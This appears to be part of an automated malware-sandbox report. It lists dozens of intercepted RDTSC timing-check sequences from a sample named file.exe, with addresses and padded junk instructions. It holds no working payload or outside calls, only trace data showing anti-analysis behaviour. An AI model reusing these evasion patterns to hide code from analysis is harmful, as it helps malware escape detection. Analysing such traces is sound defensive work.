                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC0C8E second address: AC0CA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 js 00007F96C91A861Ch 0x0000000d jnc 00007F96C91A8616h 0x00000013 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC0CA1 second address: AC0CBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F96C9132778h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC0CBF second address: AC0CC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC4117 second address: AC411B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC4258 second address: AC425E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC425E second address: AC4268 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F96C9132766h 0x0000000a rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC4388 second address: AC4399 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F96C91A861Ah 0x0000000c rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC4399 second address: AC43B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F96C9132773h 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC47C8 second address: AC47FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A861Fh 0x00000007 jmp 00007F96C91A8621h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007F96C91A861Ah 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC47FB second address: AC4809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jl 00007F96C9132766h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC4809 second address: AC480E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC480E second address: AC4822 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C913276Ah 0x00000007 jc 00007F96C913276Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC8F4B second address: AC8F52 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC9519 second address: AC9532 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F96C9132775h 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC9532 second address: AC9541 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F96C91A862Ah 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC9541 second address: AC954B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A789F4 second address: A789F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A789F8 second address: A78A09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007F96C9132766h 0x00000011 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A78A09 second address: A78A0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A78A0D second address: A78A3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F96C9132773h 0x0000000b popad 0x0000000c nop 0x0000000d and edi, dword ptr [ebp+122D3B08h] 0x00000013 push 00000004h 0x00000015 mov edx, dword ptr [ebp+12454F3Eh] 0x0000001b push eax 0x0000001c push esi 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A78A3B second address: A78A41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A78B40 second address: A78B6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push ebx 0x00000007 push edi 0x00000008 pushad 0x00000009 popad 0x0000000a pop edi 0x0000000b pop ebx 0x0000000c nop 0x0000000d pushad 0x0000000e mov dword ptr [ebp+1244963Dh], ebx 0x00000014 mov ecx, dword ptr [ebp+122D2CADh] 0x0000001a popad 0x0000001b push 0000001Eh 0x0000001d mov dh, BAh 0x0000001f and ecx, dword ptr [ebp+122D2E49h] 0x00000025 push eax 0x00000026 pushad 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC97C8 second address: AC97D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC97D2 second address: AC97D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC97D6 second address: AC97E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A861Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC97E5 second address: AC97FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F96C913276Fh 0x0000000b rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ACF756 second address: ACF75A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ACF75A second address: ACF76F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C913276Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ACF8C7 second address: ACF8E8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F96C91A8620h 0x0000000e jg 00007F96C91A861Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ACF8E8 second address: ACF8EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ACFA34 second address: ACFA60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F96C91A861Dh 0x00000009 popad 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F96C91A8627h 0x00000012 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD08B7 second address: AD08BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD08BD second address: AD08C7 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F96C91A8616h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD14BA second address: AD14BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD3C5E second address: AD3C72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F96C91A861Fh 0x0000000a rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD3C72 second address: AD3C8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007F96C9132773h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD3C8C second address: AD3CB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push edi 0x00000008 jo 00007F96C91A8616h 0x0000000e pop edi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F96C91A8623h 0x0000001a rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD3CB4 second address: AD3CBE instructions: 0x00000000 rdtsc 0x00000002 je 00007F96C9132766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD3CBE second address: AD3CC3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD3CC3 second address: AD3CC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AD3CC9 second address: AD3CD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007F96C91A8616h 0x0000000d rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ADB60A second address: ADB63F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 jmp 00007F96C913276Ch 0x0000000d jp 00007F96C9132766h 0x00000013 pop edi 0x00000014 jmp 00007F96C913276Fh 0x00000019 popad 0x0000001a js 00007F96C9132786h 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ADB63F second address: ADB643 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ADB643 second address: ADB647 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ADB7AE second address: ADB7B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ADB7B3 second address: ADB7B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ADB918 second address: ADB932 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A8626h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ADB932 second address: ADB93E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop esi 0x0000000c rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ADB93E second address: ADB960 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F96C91A861Ch 0x00000008 jl 00007F96C91A8616h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jnc 00007F96C91A8616h 0x00000019 jc 00007F96C91A8616h 0x0000001f push esi 0x00000020 pop esi 0x00000021 popad 0x00000022 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ADB960 second address: ADB995 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F96C9132778h 0x00000008 jmp 00007F96C9132778h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ADBB39 second address: ADBB3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ADBB3E second address: ADBB46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ADBB46 second address: ADBB4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ADC12B second address: ADC12F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AE48EF second address: AE4901 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F96C91A861Dh 0x0000000a rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AE312A second address: AE3130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AE3130 second address: AE3135 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AE3292 second address: AE32C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F96C9132766h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d jnl 00007F96C9132768h 0x00000013 jnl 00007F96C9132768h 0x00000019 jmp 00007F96C913276Bh 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 push ebx 0x00000022 jl 00007F96C9132766h 0x00000028 pop ebx 0x00000029 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AE32C5 second address: AE32E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F96C91A8621h 0x00000009 jo 00007F96C91A8616h 0x0000000f rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AE3465 second address: AE3469 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AE3469 second address: AE3479 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F96C91A8616h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AE3479 second address: AE347D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AED92C second address: AED933 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AED933 second address: AED93D instructions: 0x00000000 rdtsc 0x00000002 je 00007F96C913276Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AED93D second address: AED94A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AED94A second address: AED95E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F96C9132766h 0x00000008 jp 00007F96C9132766h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AED95E second address: AED962 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AEDB1B second address: AEDB20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AEDB20 second address: AEDB26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AFEA07 second address: AFEA0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AFE708 second address: AFE712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F96C91A8616h 0x0000000a rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AFE712 second address: AFE716 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B16DA3 second address: B16DAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B17205 second address: B17238 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C913276Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F96C9132779h 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B17238 second address: B17266 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A8621h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F96C91A8625h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B17266 second address: B17274 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F96C913276Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B173D3 second address: B173D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B176C0 second address: B176D7 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F96C9132772h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B1AEFC second address: B1AF17 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F96C91A861Eh 0x00000008 pushad 0x00000009 je 00007F96C91A8616h 0x0000000f push edi 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B1AF17 second address: B1AF30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F96C913276Bh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B1AAB8 second address: B1AABF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B1AABF second address: B1AACC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 js 00007F96C913276Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B39AB9 second address: B39ADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push ebx 0x00000008 jmp 00007F96C91A8621h 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 jnp 00007F96C91A8616h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B3B890 second address: B3B894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B3B894 second address: B3B898 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B54891 second address: B54897 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B54897 second address: B548AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F96C91A8623h 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B54A13 second address: B54A30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F96C9132779h 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B54CC7 second address: B54CDF instructions: 0x00000000 rdtsc 0x00000002 jno 00007F96C91A8616h 0x00000008 jg 00007F96C91A8616h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 js 00007F96C91A8616h 0x00000018 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B54CDF second address: B54D0E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F96C9132766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b pushad 0x0000000c jc 00007F96C9132780h 0x00000012 jl 00007F96C9132766h 0x00000018 jmp 00007F96C9132774h 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B54D0E second address: B54D23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F96C91A861Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B54D23 second address: B54D3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F96C9132772h 0x0000000c rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B5502B second address: B5502F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B5502F second address: B55035 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B551E2 second address: B551FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A861Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F96C91A862Bh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B551FC second address: B5520F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F96C913276Fh 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B56E2B second address: B56E43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F96C91A8622h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B56E43 second address: B56E55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F96C9132766h 0x0000000a popad 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B56E55 second address: B56E73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F96C91A8616h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F96C91A861Bh 0x00000012 jng 00007F96C91A8616h 0x00000018 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: B56E73 second address: B56E79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
